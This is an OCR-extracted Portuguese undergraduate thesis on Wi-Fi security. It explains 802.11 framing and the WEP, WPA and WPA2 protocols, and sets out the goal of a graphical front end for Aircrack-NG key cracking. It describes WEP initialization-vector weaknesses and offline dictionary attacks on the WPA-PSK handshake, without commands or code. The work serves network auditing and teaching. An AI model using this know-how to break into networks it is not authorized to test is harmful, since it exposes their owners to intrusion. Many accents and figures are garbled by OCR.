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Conclusdes ...ccevveeieiiiiiiinnnneeeenss
Uma Proposta para Trabalho Futuro



RESUMO

Este trabalho apresenta um estudo sobre a seguranca nas redes sem fio 802.11,
comumente chamadas de redes Wi-Fi (Wi-Fi Alliance). Sao abordados os protoco-
los de seguranca WEP, WPA e WPA2 e ataques a redes sem fio. Sao também levan-
tados os principais ataques especificos aos protocolos de seguranca. Este trabalho
tem como objetivo implementar uma ferramenta que integre ferramentas especi-
ficas para quebra de chaves WEP e WPA em modo texto, a uma interface gréfica
desenvolvida na linguagem C++ com o auxilio do framework multiplataforma Qt.
Esta ferramenta gréfica auxilia na auditoria e seguranca das redes Wi-Fi.

Palavras-chave: WEP; WPA; Wi-Fi; Seguranca; Aircrack; Quebra de Chaves.



ABSTRACT

This work shows firtly a study about security protocols in 802.11 wireless
networks, also called Wi-Fi networks due to their relation to the certificate pro-
gram provided by Wi-Fi Alliance. The main themes are the security protocols
WEP, WPA, WPA2, and wireless networks attacks. Secondly, studies about spe-
cific attacks to the security protocols were made. The objective of this work is to
implement a tool composed by a specific toolset that can brake WEP and WPA
keys. This toolset is essencially text-mode, and a graphic user interface was devel-
oped using C++ and the Qt framework

Keywords: WEP; WPA; Wi-Fi; Security; Aircrack; Cracking.
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1 INTRODUCAO

1.1 Contextualizacio

As redes sem fio estdo se tornando cada vez mais populares em meios re-
sidenciais e corporativos devido a mobilidade e flexibilidade proporcionadas aos
usudrios. Tal popularidade implica em um aumento exacerbado do uso de dispo-
sitivos que acessam a rede, muitas vezes por meios ndo seguros (conexdes nao
criptografadas, por exemplo) avivando a curiosidade de usudrios avangados que
tem em seu conhecimento uma arma para tomar o controle das redes, criando um
ambiente de inseguranca.

No Brasil, a popularizagdo dos notebooks, netbooks, smartphones e tablets
alavancou o uso das redes sem fio, fruto também das inimeras promog¢des de ven-
das casadas de computadores e access points. Isso tem feito com que uma grande
quantidade de usudrios com pouco (ou nenhum) conhecimento em configuracio
de dispositivos wireless tenha utilizado métodos de autenticacdo e encriptacio ul-
trapassados, como o WEP. Métodos WPA ¢ WPA2, porém com chaves fracas,
ainda nao sdo barreiras as invasdes e decriptacdes. Outros usudrios, como acon-
tece em muitos casos, utilizam a rede totalmente aberta facilitando ainda mais a
sua invasao.

Em 2008 o site Secure List mantido pela empresa de software de segurancga
Kaspersky' publicou o resultado de um wardriving® feito na cidade de Sdo Paulo.

Segundo Dmitry Bestuzhev, o autor da publicacdo, os dados® niio chegam a ser

I www.kaspersky.com

2 Ato de sair pesquisando as caracteristicas das redes sem fio onde elas se encontram disponiveis.
3http://www.securelist.com/en/analysis/204791997/Wardriving_in_Sao_Paulo_
Brazil


http://www.securelist.com/en/analysis/204791997/Wardriving_in_Sao_Paulo_Brazil
http://www.securelist.com/en/analysis/204791997/Wardriving_in_Sao_Paulo_Brazil
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alarmantes, mas hd muito que melhorar. Das redes encontradas, 24% ndo usam
métodos de encriptagdo e 50% utilizam o WEP. Ou seja, hd um total de 74% de

redes sem fio facilmente exploraveis na cidade.

1.2 Objetivos

Este trabalho tem como objetivo principal a implementacdo de uma fer-
ramenta grafica, para ambiente Linux, que auxilie na auditoria de redes sem
fio quanto a forca das senhas utilizadas pelos usudrios e também os protocolos
disponibilizados nos dispositivos. A ferramenta proposta serd baseada nos aplica-
tivos da familia Aircrack-NG, amplamente utilizadas na invasao de redes Wi-Fi.

Os objetivos especificos sdo a andlise superficial do funcionamento dos pro-
tocolos de seguranca e das ferramentas de auditoria e ataques a redes sem fio bem
como o levantamento dos requisitos de seguranca em redes Wi-Fi para a compreen-

sdo de como se da a quebra de chaves WEP e WPA/WPA2.

1.3 Estrutura do Trabalho

O presente trabalho esté definido de forma a proporcionar uma sequéncia que
auxilie no entendimento e desenvolvimento.

O Capitulo 1 apresenta o contexto de redes sem fio e a falta de seguranca da
mesma. Os Capitulos 2, 3 e 4 apresentam o referencial teérico da monografia,
abordando, respectivamente, conceitos basicos de redes sem fio, seguranca em re-
des sem fio e usabilidade, necessarios ao desenvolvimento do mesmo. A metodolo-

gia do trabalho é mostrada no capitulo 5.
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No capitulo 6 sdo apresentados os resultados juntamente com algumas con-

sideragdes e o capitulo 7 finaliza o trabalho com as conclusdes.



2 CONCEITOS EM REDES WIRELESS

2.1 Redes Wireless

Redes wireless ou redes sem fio sdo redes de computadores e/ou outros dispo-
sitivos que comunicam-se sem a necessidade de cabos, utilizando o ar como meio
de transmissdo de dados.

As solucdes empregadas em redes sem fio fornecem conexdes em uma area
de cobertura limitada. Em geral essa drea de cobertura varia de 10 a 100 metros
de uma estacdo até um ponto de acesso. Essas solu¢des sem fio permitem trans-
feréncia de dados por duas vias (ida e volta) tipicamente utilizadas em ambientes
corporativos e domésticos (BARNES et al., 2002). As redes sem fio também sdo
comumente conhecidas por redes Wi-Fi devido ao programa de padronizacio de
interoperabilidade de dispositivos proposto pelo 6rgao Wi-Fi Alliance.

O Wi-Fi Alliance € atualmente a maior associa¢do de fornecedores de disposi-
tivos necessdrios ao funcionamento de uma rede sem fio. Gracas ao seu programa
de certificados, dispositivos wireless de diferentes marcas e que seguem as especi-
ficacdes do padrao IEEE 802.11 funcionam de forma compativel, sem perda de
desempenho ou de funcionalidades.

As redes Wi-Fi possuem algumas vantagens sobre as redes cabeadas, como
mobilidade, facilidade e velocidade de implantagéo, flexibilidade e custo, todas
decorrentes da auséncia da necessidade de conex@o de cabos. A implantacdo
de uma rede Wi-Fi é facilitada, necessitando apenas do ponto de acesso e a dis-
tribuicdo das chaves de autenticagdo. Quanto a reducdo de custos, um bom exem-

plo seria fazer a conexdo entre dois prédios: o gasto com cabos de um prédio a
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outro seria mais alto do que os gastos com a criagdo uma conexdo 802.11 (GAST,
2005).

Correia (2007) enumera desvantagens do uso de redes Wi-Fi : menor largura
de banda, maior taxa de erros e topologia dindmica. A baixa largura de banda j4
estd sendo sanada com o desenvolvimento de padrdes com velocidade mais alta
como o IEEE 802.11n, que atinge a taxa nominal de 600 Mbps. A taxa de erros
nas redes Wi-Fi sao por vezes milhares ou até milhdes de vezes maiores do que
nas redes ethernet cabeadas, decorrentes das iinterferéncias das vdrias frequéncias
presentes no dia-a-dia. O grande problema com a topologia dindmica das redes
¢ a necessidade de algoritmos de roteamento mais complexos, o que demanda
dispositivos com maior capacidade de processamento.

Mesmo com suas desvantagens, as redes sem fio sdo alvo de pesquisas e de-
senvolvimento na indistria e no mercado. A escolha de qual padrdo de rede sem
fio utilizar depende da sua aplicacdo e de seu alcance. Redes de curta distincia
(até 10 metros) podem utilizar a tecnologia bluetooth (IEEE SOCIETY COM-
PUTER, 2005). As redes de dados para celulares, atualmente usam o 3G (CHEN;
ZHANG, 2004). E para redes domésticas e corporativas utilizam-se as redes Wi-Fi
que seguem o padrao IEEE 802.11 (IEEE SOCIETY COMPUTER, 2007).

2.2 O padrao IEEE 802.11

0 802.11 € um padrao para redes sem fio locais que define os modelos de im-
plementagdo para as camadas fisica e de enlace do modelo de referéncia OSI/ISO

(DAY; ZIMMERMANN, 1983)(GAST, 2005).
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Na camada fisica sdo definidas as caracteristicas fisicas do sinal como fre-
quéncia, taxa de transferéncia, e de transmissdo e recep¢do dos dispositivos. A
Tabela 2 abaixo mostra essas caracteristicas fisicas dos padrdes encontrados atual-

mente no mercado.

Padrao do IEEE Taxa Frequéncia
802.11 le2Mbps | 2,4 Ghz
802.11a 54 Mbps 5,8 Ghz
802.11b 11 Mbps 2.4 Ghz
802.11g 54 Mbps 2,4 Ghz
802.11n 600 Mbps 2,4 Ghz

Tabela 2: Caracteristicas dos padrdes 802.11.

A camada de enlace, assim como nas redes Ethernet, subdivide-se em duas
outras camadas, LL.C (Logical Link Control - Controle de Enlace Légico) respon-
savel por tratar os dados provenientes da camada fisica e enviar para as camadas
superiores, e camada MAC (Medim Access Control - Controle de Acesso ao Meio)
que trata os métodos de acesso ao meio.

O método de acesso ao meio empregado nas redes sem fio 802.11 é o
CSMA/CA (Carrier Sense Multiple Acces with Colision Avoidance - Acesso
Muiltiplo por Deteccdo de Portadora com Prevencdo de Colisdo) que faz uma
reserva do meio utilizando um didlogo em quatro passos distintos: RTS - CTS
- DATA - ACK.

A Figura 1 ilustra o funcionamento do CSMA/CA. O transmissor escuta
o0 meio e caso ele ndo esteja livre, a estacdo A transmissora espera um tempo
aleatério denominado periodo de backoff. Cada vez que o canal fica livre de trans-

missdes, inicia-se uma contagem regressiva a partir do backoff, caso contririo, a
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contagem fica parada. Se o canal estiver ocioso ou a contagem regressiva terminar
no momento em que o canal estiver sem transmissdes, a estacdo A transmissora
espera um tempo chamado de DIFS (Distributed Inter Frame Spacing) e envia um
quadro de controle RTS (Request to Send) requisitando permissdo para transmitir

os dados a estacdo B receptora.

CSMAJ/CA
DIFS
i e
Estagdo A RTS | Data |
SIFS  SIFS SIFS
Estagio B CTS ACK
DIFS
Outras Estagies NAV(RTS) ! : J|
NAV(CTS) | ‘
Atraso na Transmissdo Backoff

Figura 1: O método CSMA/CA (CORREIA, 2007).

O quadro RTS enviado por A possui informag¢des como o tempo necessario
a transmissao do quadro de dados e a recepcdo do quadro de controle ACK (Ac-
knowledgement). As estagdes ao alcance de A recebem o RTS (enviado em broad-
cast) e ajustam o tempo de bloqueio de seus rddios, denominado NAV (Network
Allocation Vector).

A estacdo B entdo envia um quadro CTS (Clear to Send) avisando que os

dados podem ser enviados. As esta¢des proximas a B também recebem o CTS que
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contém as informagdes para que estas ajustem o periodo do NAV e bloqueiam seus
radios, evitando a transmissdo durante esse tempo.

Para o calculo do NAV das estacdes proximas a A sdo contabilizados o tempo
estimado para a transmissao do quadro de dados e o recebimento da confirmacio
de recebimento, além do tempo que A e B esperam para enviar cada quadro do di-
dlogo RTS - CTS - ACK - DATA, denominado SIFS (Short Inter Frame Spacing).
Nas estacdes proximas a B, sdo considerados os tempos de SIFS, DATA e ACK a
partir do recebimento do CTS.

Ap6s o recebimento do CTS a estagdo A mais um periodo SIFS e entdo envia
seu quadro de dados (DATA). Apds o recebimento do quado de dados, A envia
uma confirmacio (ACK - Acknowledgment) que indica que a transmiss@o ocorreu
corretamente.

Ao término desse processo as estagdes esperam um periodo DIFS e voltam a
disputar o meio de transmissao.

O padréo 802.11 também fala sobre as topologias de uma rede Wi-Fi, na Se¢ao

2.2.1 a seguir.

2.2.1 Topologia das redes 802.11

A topologia de uma rede 802.11 é composta pelos seguintes elementos, como

mostrado por Kurose e Ross (2006):

e Estacao-base - responsavel pela criagdo do Conjunto de Servigos Basicos

(BSS - Basic Service Set).

e Estacdo sem fio - estacdo que executa tarefas e se conecta a dispositivos

sem fio. Um laptop € um exemplo de estacdo sem fio.
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e Enlace sem fio - uma estacdo sem fio conecta-se a uma estagdo base por

meio de um enlace sem fio.

A partir desses elementos, podemos definir duas formas de topologias para as
redes sem fio. Quando as estacdes sem fio estdo conectadas a uma estacio-base,
diz-se que estido operando em modo infra-estruturado, como na Figura 2, uma vez
que os servicos de rede (atribuicdo de enderecos, roteamento, por exemplo) estdo
sendo providos pela rede com a qual elas estdo conectadas através da estagao-base.

Neste caso, toda a comunicacdo entre as estagdes ¢ intermediada pelo ponto

de acesso raiz.

Figura 2: Rede sem fio em modo infra-estruturado.

Outra forma de comunicagao é quando as estagdes estdo conectando-se umas
as outras, formando vérias células de comunicacdo sem fio. Esta topologia é co-
nhecida como Ad-Hoc. Nesse caso servicos como roteamento, atribui¢do de en-
derecos, DNS entre outros, sdo providos pelas proprias estacdes.

Existe, ainda, uma topologia sendo padronizada pelo grupo IEEE 802.11s que
forma uma rede hibrida, conhecida como redes em malha ou Mesh. Neste caso, 0s
APs especificos para redes Mesh se comunicam uns com os outros formando um

backbone wireless. As estacdes, que podem ser qualquer dispositivo que acesse
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Figura 3: Rede sem fio em modo Ad-Hoc.

arede Mesh (desde um notebook até mesmo um outro AP funcionando em modo
infra-estruturado em conjunto com outras estagdes) acessam a internet por meio

da rede (REDWAN; KIM, 2008). A Figura 4 mostra um exemplo.

Figura 4: Rede Mesh (REDWAN; KIM, 2008).
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Definidas as topologias de uma rede Wi-Fi, é necessdrio definir um padrio
para os quadros trocados entre os elementos da rede. O padrdo 802.11 possui um

quadro definido de forma diferenciada descrito na Se¢do 2.2.2.

2.2.2 O formato do quadro MAC do padrao 802.11

A apresentagdo dos campos do protocolo se faz necessdria para a compreen-
sdo das futuras aplica¢des, como a seguranca em redes Wi-Fi descrita no préximo
capitulo.

O formato dos quadros MAC do padrdo 802.11 apresentam algumas difer-
encas em relacdo aos quadros de uma rede cabeada. Uma delas é a presenca de
4 campos de endereco os quais muitas vezes ndo sao todos usados. O formato do
quadro 802.11 genérico é mostrado na Figura 5, bem como a explicacdo sobre seus

campos. Os quadros sdo lidos da esquerda para a direita.

bytes 2 2 § [ 6 Fs ] 0-2312 4
T T o e e i i i o 1 T | e 5 L 5 L T T
Frame | Duration/ Address 1 Address 2 Address 3 Seq Addeess 4 frame FCS
Control | 1D al Body
bits Fs 2 q I___.‘_'_i‘—l"—-i-—-l___i'__ I
; T ; : ; ; To 0S| From | More | Retry | Pwr | Mere |Protected| Order
L . Lok | Fag Mgmi| Daa | Frame
(| e e (s S il || u| uwils

Figura 5: Quadro MAC 802.11 (GAST, 2005).

Campo frame control ou campo de controle de quadro: os quadros 802.11
iniciam-se com um campo de dois bytes denominado de controle de quadro. Os

campos sdo descritos a seguir:
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Protocol Version - este sub-campo de 2 bits de comprimento denomina qual a
versdo do protocolo 802.11 estd sendo utilizada. Como atualmente apenas

uma foi desenvolvida, esta recebe o valor 0.

Type e Subtype - esses campos em conjunto identificam o tipo de quadro que esta
sendo usado, como por exemplo um quadro CTS ou RTS. O campo Type
possui 2 bits e identifica os tipos gerenciamento, controle e quadros de da-
dos. O campo Subtype tem 4 bits e uma tabela completa sobre as com-
binac¢des para o campo Subtype pode ser encontrada no manual do IEEE

802.11 (IEEE SOCIETY COMPUTER, 2007).

FromDS e ToDS - segundo Kurose e Ross (2006) esses valores podem ser inter-
pretados da seguinte forma: FromDS mensagem oriunda do AP e ToDS que
esta sendo enviada para o AP. Quando os dois sub-campos estdo com o valor
0, é considerado um sistema em modo Ad-Hoc. E utilizado um bit para cada

sub-campo .

More Fragments bit - este bit indica se o quadro de dados teve que ser fragmen-

tado para ser transmitido, em caso positivo este campo recebe o valor 1.

Retry bit - o valor 1 neste sub-campo indica que o pacote foi retransmitido e ajuda

a eliminar duplicatas na estacdo receptora.

Power Management bit - indica se a estacdo transmissora entrard em modo de

economia de energia ao terminar a transferéncia.

More Data bit - os Access Points utilizam este campo para indicar a uma estagéo

receptora que existe pelo menos mais um pacote enderecado a ela. Isso
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evita que a estagc@o entre em modo de economia de energia antes do fim da

transmissao.

Protected Frame bit - também conhecido como WEP bit. Indica se o dado sofreu

encriptacdo antes de ser enviado.
Order bit - indica se os pacotes devem ser entregues em uma ordem ou nao.

O campo Duration/ID vem logo em seguida do controle de quadro e utiliza
2 bytes. E utilizado para indicar o periodo de ocupagio do meio de transmissdo
pelos quadros RTS/CTS. E também utilizado para o cilculo do ajuste do NAV.

Os campos de endereco logo apds o campo Duration/ID sdo caracterizados da

seguinte forma:
e Address I - endereco MAC do receptor.
e Address 2 - endereco MAC do transmissor.

e Address 3 - depende dos bits FromDS e ToDS. Se FromDS=1, entdo é o
endereco da estac@o original que transmitiu a mensagem. Se ToDS=1, é o

endereco final da mensagem.

O campo Sequence Control possui 16 bits para controlar a sequéncia dos
quadros pertencentes a mesma mensagem, ¢ também faz o reconhecimento de
mensagens duplicadas.

O campo de dados (Frame Body) possui até 2.312 bytes para dados e o campo
de CRC faz o checksum de 32 bits do quadro.
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3 SEGURANCA EM REDES WI-FI

O fato de o meio de transmissdo das redes sem fio ser aberto tem feito com que
a seguranca tenha sido um dos grandes focos de atencdo de seus desenvolvedores.
As redes sem fio ndo possuem limites fisicos bem definidos, o que permite que
qualquer pessoa que esteja dentro do alcance de uma certa rede possa capturar
pacotes ou tentar alguma forma de invasdo. Para tentar contornar essa situagao,
os dispositivos compativeis com o padrdo IEEE 802.11 e, consequentemente, com
o padrdo Wi-Fi possuem mecanismos que tentam assegurar a confidencialidade e

integridade dos dados através de sistemas de autenticagao.

3.1 Algumas Medidas de Seguranca para Redes sem Fio

Wang e Zhang (2006) mostra algumas medidas de seguranca que podem ser
tomadas em redes sem fio. Em suma, a idéia é evitar o acesso de usudrios nao
autorizados a rede.

Os filtros de endereco MAC tornam as redes restritas, por exemplo, apenas
os enderecos MAC registrados no Access Point (AP) podem ter acesso a rede,
associando-se a0 AP. Além disso, um sistema de autenticagdo e criptografia tam-
bém se faz necessario seja ele WEP, WPA, WPA2 ou um servidor Radius, ou um
misto dessas tecnologias (WANG; ZHANG, 20006).

Quanto ao problema da falta de limites bem definidos para redes sem fio, se
faz necessdrio o controle da poténcia do rddio, evitando que o alcance da rede
ultrapasse os limites desejados.

Loo (2008) enumera também as responsabilidades dos fabricantes de disposi-

tivos wireless:
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e os fabricantes de roteadores deveriam tornar as configuracdes de seguranga
um padrio, sendo possivel desativéd-las, mas o usudrio seria avisado dos

riscos.

e pequenos programas residentes que verificassem o nimero de usudrios em
um determinado tempo deveriam ser incorporados aos roteadores. Arquivos

de logs podem ser tteis na verificacao de intrusoes.

e sempre que um método hacker fosse descoberto, atualizacdes de software

e/ou firmware (se existente) deveriam ser langadas assim que possivel.

Da mesma forma que os fabricantes tém suas obrigacdes, 0s usudrios também
tem uma parcela de responsabilidades quanto a seguranca das redes. Para Loo
(2008), os usudrios devem ser vigilantes quanto as suas informagdes e também

estudar as formas de protecdo para uma utilizacdo mais segura da rede.

3.2 Protocolos de Seguranca em Redes Wi-Fi

Conforme LASHKARI et al. (2009), a tecnologia de redes sem fio tem ga-
nhado muita popularidade nos tltimos anos. Porém, o uso de padrdes de seguranca
rigidos ndo t€m crescido na mesma velocidade. Existem atualmente trés grandes
padrdes de seguranca para redes 802.11: WEP (Wired Equivalent Privacy), WPA
(Wi-Fi protected Access) e WPA2 (Wi-Fi Protected Access version 2) que serao

descritos a seguir.
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3.2.1 WEP - Wired Equivalent Privacy

O WEP (Wired Equivalent Privacy) foi concebido para prover a confidenci-
alidade dos dados tal como ocorre em uma LAN (Local Area Network - Rede
Local) cabeada. Isso é feito utilizando-se o algoritmo de encriptagdo RC4, como
apresentado por Li et al. (2009). Foi desenvolvido em 1997 pela grupo de de-
senvolvedores do padrdao 802.11b e foi o primeiro protocolo de encriptacdo a ser
utilizado em redes sem fio, incorporando encriptac¢io e chave compartilhada.

O WEP parte do principio que a chave tem que ser conhecida por ambos os
lados da conex@o para que o sistema que criptografa/decriptografa os pacotes fun-
cione. Essa chave conhecida por ambos os lados tem seu tamanho real reduzido
devido a forma como o WEP usa o algoritmo RC4. A Figura 6 ilustra o funciona-

mento de um sistema WEP.

Input frame v Key number
l
Header Payload
Key lookup
I_l_, 0
1
(RC .
3
I
} 1 32 bits 24 bits 40, 104,0r 128 bits
Payload v ] Sedret key
Data | “WEP seed" (RC4 key)
RC4

1 Encrypted payload + ICV
Y "

Key
Header | v | & Payload v

Figura 6: Operagdes criptograficas do protocolo WEP (GAST, 2005).
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Primeiramente, uma chave WEP de 64 bits é constituida de 40 bits para os
dados que sdo criptografados e 24 bits para o vetor de inicializa¢do (IV - Initial-
ization Vector), que € usado como uma chave de criptografia/decriptografia. A
chave compartilhada e o IV sdo utilizados como semente em um gerador pseudo-
randdmico de nimeros. O corpo e o cabegalho da mensagem passam por um algo-
ritmo de CRC (Cyclic Redundancy Check — verificacdo de redundancia ciclica). O
resultado do CRC ¢é adicionado em um Vetor de Verificagdo de Integridade (ICV).
Dessa forma o ICV e o os dados sdo concatenados. Os dados concatenados com
0 ICV e a chave gerada pelo IV e a chave compartilhada passam pelo algoritmo
RC4. Ao fim sao concatenados o resultado do RC4 e o ICV ao pacote.

O WEP apresenta dois modos de autenticagdo: Open Sistem Authentication
e Shared Key Authentication. No modo Open System Authentication, Figura 7,
primeiramente a estagdo envia uma requisicdo de autenticacdo ao Access Point.
Este por sua vez responde simplesmente autenticando a estacdo, sem que haja a
troca de informagdes ou uma negociagdo. Entdo a estacdo € associada ao AP. Para
utilizar a rede, € necessario o conhecimento da chave WEP para a encriptacio/de-

criptagdo dos pacotes.

802.11 Open System Authentication

11 Requisic3o de conex3o = Access Point (AP)
— 2} AP autentica
—_— -
—

; 3l cliente conecta
Cliente terta

se conectar

L

Figura 7: Open System Authentication NETGEAR INC., 2005).
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Quando os dispositivos estdo utilizando o modo Shared Key Authentication, o

processo decorre como ilustrado na Figura 8, conforme (NETGEAR INC., 2005):
1. A estacdo envia uma requisicdo de autenticacao.

2. O Access Point responde enviando o que é chamado de challenge text, uma

mensagem nao criptografada.

3. A estagdo usa a chave WEP pré-configurada para criptografar a mensagem

e envia-la de volta ao Access Point.

4. O AP decripta entdo a mensagem enviada pela estagdo com a sua chave
WEP pré-configurada. Se a mensagem decriptada for a mesma enviada no

primeiro passo, a chave do AP € a mesma da estacdo e esta € autenticada.

5. A estacdo entdo se associa ao AP e pode usar a rede.

B02.11 Shared Key Authentication

1) Envia Requisicio———————————— Mccess Point (AP)
de conexdo

— «——— 2} AP envia um desafio

S —— wr:jn:e;‘_')

Madem

Cliente terta | 3) Clierte encripta
se conectar o desafio & o erwvia ao AP

4AP decripta o desafio
e verifica se ests correto

5) Clierte conecta I

Figura 8: Shared Key Authentication (NETGEAR INC., 2005).

Uma grande falha do WEP se d4 justamente pelo fato de o vetor de inicia-

lizacdo ser muito curto e passado de forma transparente, ou seja, ele nao sofre
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nenhuma encriptagdo. Uma senha WEP pode ser quebrada com a captura a partir
de 5000 pacotes, uma vez que os vetores de inicializa¢do sdo considerados curtos
e se repetem com o tempo. Como o IV € um campo nao criptografado, ele pode
ser facilmente lido e utilizado em ataques de forca bruta para quebra de senhas.

Outro problema do WEP € o uso do algoritmo CRC para garantir a integridade
dos dados. O CRC ¢ considerado uma boa forma de verificacdo de integridade,
porém € falho para a criptografia por seu comportamento linear. Utilizando-se um
tipo de inducio, e coletando dados o suficiente, é possivel gerar um diciondrio de
chaves e consequentemente descobri-la (BROWN, 2003).

Descobertas as falhas do protocolo WEP, o Wi-Fi Alliance desenvolveu o

WPA, descrito a seguir.

3.2.2 WPA - Wi-Fi Protected Access

O WPA foi criado pela Wi-Fi Alliance para suprir as falhas do WEP até que o
grupo de estudos do IEEE 802.11 desenvolvesse um protocolo mais seguro (LI;
GARUBA, 2008). O WPA foi desenvolvido com base nos drafts* do padrio
802.11i, que trata de formas mais seguras de autenticacdo do que as até entdo
proporcionadas pelo padrdo WEP de privacidade.

O protocolo WPA, assim como o WEP, utiliza o algoritmo de encriptagdo
RC4 em seu processo de cifragem. O processo utilizado é diferente do empre-
gado no WEP, permitindo uma encriptacdo mais complexa utilizando o protocolo

TKIP (Temporal Key Integrity Protocol) e o algoritmo Michael ou MIC (Message

4Do inglés draft. Significa rascunho, trabalho néo terminado
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Integrity Code), descrito em (ALI; OWENS, 2010), que substitui o CRC para a
verifica¢do de integridade.

O protocolo TKIP implementa uma fun¢do que combina a chave inicial com o
vetor de inicializag¢@o. O resultado dessa combinacdo passa pela criptografia RC4
juntamente com uma duplicata do vetor de inicializa¢do. O resultado dessa pas-
sagem sofre uma operacdo de XOR?> com os dados a serem criptografados, gerando
por fim a mensagem a ser enviada (LASHKARI ef al., 2009), como mostrado na

Figura 9.

Chave Inicial Fungéo

e Mixagel -
[ vetor de Inicializagao (IV)l/' RC4

| plaintext (dados) I -

Mensagem

XOR

Criptografada

Figura 9: Encriptagdo com WPA-TKIP (LASHKARI ez al., 2009).

A Figura 10 ilustra a composicdo de um quadro 802.11 ao fim da execucdo
do WPA. O campo de dados de um quadro MAC é composto pelo IV, um byte
(na Figura detotado por Outro) para evitar IVs fracos, o IV estendido, os dados
criptografados pelo algoritmo RC4, os MIC (Message Integrity Code) e o ICV
(Integrity Check Vector). Na Figura 10, o endereco de destino, denotado por DA,
e o endereco de origem, chamado de SA, sdo utilizados para compor o campo
MIC juntamente com os dados e a chave de integridade do protocolo TKIP apds

passarem pelo algoritmo Michael.

SOperacio 16gica Exclusive Or (Ou Exclisivo). O retorno da operagio somente é o valor ver-
dadeiro se as entradas forem diferentes
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V. DA. Chave de criptografia de dados

v DA+3A+Prioridade+Dados, Chave da
T integridade de dados
| Combinagio

de chave

IV. Ghave de criptografia por pacols

v
= =

& Key stream -1 Dados+MICHCV —

HORY

PRNG

v v

[cabegaina do 802 11 [_r.- Joura| wEst ] Dadee | wc | iev !T:'_-mf_-,--:-u.-z firaia do 802 11__
| i o Criplograladsy ————
:-l Carga do guadro 802 11 -1-'

- Qluadmo do BO2.11 = —

Figura 10: Composi¢do de um quadro ao passar pela encriptacio WPA (MICROSOFT, 2004).

Quanto a autenticagio, o protocolo WPA implementa dois modos: PSK, ou
Pre-Shared Key ou ainda WPA-Pessoal e WPA-Corporativo ou WPA-Enterprise.
No modo WPA-PSK, toda a autenticacdo ocorre no Access Point. No modo WPA-
Corporativo, o Access Point ndo autentica o usudrio na rede. A autenticacio € exe-
cutada por um servidor e o AP fica responsavel apenas por criar um canal seguro,
utilizando o método de autentica¢do 802.1X aliado a um tipo de EAP (Extensible
Authentication Protocol, para a troca de informacdes estagdo-servidor. O processo
decorre seguindo a numeracao da Figura 11, como descrito em (NETGEAR INC.,

2005).
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@®_... 7

Supplic Authenticator Authenticating Server
Desafio
-
; Identidade @
Identidade - -
Requisita Credenciais Requisita Credenciais

‘ ‘ 0

Envia Credenciais Envia Credenciais

@ Sucesso 5’ SUcesso
-

Porta ndo controlada

® :
da Rede

Figura 11: Processo de autenticagdo WPA-Enterprise (NETGEAR INC., 2005).

6

1. Uma estacdo descobre a rede através dos beacons® enviados pelo Access

Point e solicita autenticagdo.
2. O AP responde solicitando uma identificacio da estagdo.

3. Aidentificacdo € repassada ao servidor de autenticagdo. Nesse momento foi
criada uma conexdo segura (EAP) entre o servidor e a estacdo. S6 trafegam

pacotes EAP pela rede.

4. O servidor de autenticacdo verifica a identidade da estagao.

6Beacon: quadro de gerenciamento contendo informagdes sobre a rede tais como SSID, tipo de
encriptacdo e autenticagdo, entre outras.
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5. Ap6s a verificag@o o servidor envia uma mensagem de “sucesso”.
6. A mensagem de “sucesso” € repassada pelo AP a estacdo.

7. Se a estacdo foi aceita, € liberado o acesso aos servigos da rede.

Ap6és a autenticagdo, inicia-se o processo de derivacdo da Primary Master
Key (PMK) em que as chaves criptograficas serdo estabelecidas em um processo
conhecido como 4-way handshake (Figura 12). Caso a autenticacdo tenha ocorrido
no modo PSK, a PMK ¢ a prépria chave compartilhada. Se a autenticacéo foi pelo
modo corporativo, entdo a PMK é a MSK. A PMK serd utilizada apenas para a
derivacdo das chaves tempordrias (PTK - Pairwise Transient Key) utilizadas no
protocolo TKIP. Ao final do 4-way-handshake, é garantido que ambas as partes da
comunicagdo possuem a mesma PTK e podem iniciar a troca de dados (VILELA;

RIBEIRO, 2008).

SSID, AP_MAC

SNonce, STATION_ MAC

ANonce

802. 1x data, MIC

Figura 12: Processo 4-way handshake (WANG et al., 2010).
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Em novembro de 2003, Robert Moskowitz lancou um artigo no qual explica
a descoberta de uma falha no WPA em modo PSK que permite um ataque offline
de diciondrio lancado sobre os pacotes 4-way handshake de uma rede sem fio.
Conhecendo os dados obtidos no 4-way handshake (Figura 12) e sabendo também
quais as derivacOes utilizadas para se chegar ao MIC, pode-se entdo utilizar um
diciondrio composto por senhas em potencial para computar um MIC a partir da
senha do arquivo e dos dados do 4-way handshake. Se o MIC encontrado na
computagdo for igual ao MIC passado no 4-way handshake, entdo a senha foi
quebrada e é justamente a senha utilizada na para computar o MIC (WANG et al.,

2010).

3.2.3 WPA2/802.11i

WPA?2 € uma das certificagdes disponibilizadas pela Wi-Fi Alliance que certi-
fica que o dispositivo sem fio é compativel com o padrdao IEEE 802.11i. A meta
da WPA2 ¢ oferecer suporte aos recursos de seguranga obrigatdrios adicionais do
IEEE 802.11i ainda ndo inclusos nos produtos com suporte a WPA (MICROSOFT,
2006).

O padrio 802.11i foi homologado em junho de 2004 e diz respeito a mecanis-
mos de autenticagdo e privacidade. Para este padrio, foi implementado o protocolo
de rede RSN (Robust Security Network), que permite meios de comunicagao se-
guros (RUFINO, 2007).

A principal diferenca entre os protocolos WPA e WPA2 estd no processo
criptografico empregado em cada um. O WPA, como explicado na Secdo 3.2.2

utiliza o método TKIP em conjunto com o algoritmo RC4. Em contra partida,
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o WPA2 utiliza o AES (Advanced Encription Standard) na forma do protocolo
CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code
Protocol)  MATHEWS; HUNT, 2007).

O protocolo CCMP funciona em dois modos: CBC-MAC e CTR. No modo
CBC-MAC ¢ calculado o MIC a partir do cabegalho, do tamanho do cabecalho
e do campo payload do quadro. No modo CTR (Counter) ou Counter Mode o
método criptografico derivado do AES € utilizado para criptografar a mensagem
(payload do quadro 802.11) e 0 MIC (CAM-WINGET et al., 2002). A Figura 13

mostra onde cada fracdo do CCMP age.

| Header Payload -

CBC-MAC

Figura 13: Etapas do protocolo CCMP (CAM-WINGET et al., 2002).

Quanto a autenticagdo, a principal diferenca entre 0 WPA e WPA2 € o fato de
no WPA?2 a estagdo ser autenticada em todos os APs do mesmo ESS, o que facilita
a mudanca de células (roaming).

Como o WPA e WPA2 compartilham da mesma forma de autenticacdo e
derivagdo de chaves durante o 4-way handshake propostos pelo 802.11i, o WPA
em modo PSK também fica suceptivel a ataques offline de dicionério sobre o 4-way

handshake.
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3.3 Ataques comuns a redes sem fio

Existem diversos ataques inerentes a redes sem fio descritos na literatura. Os
mais comumente executados devido as vérias ferramentas de ataques sdo: Sniffing,
Spoofing, Hijacking e DoS.

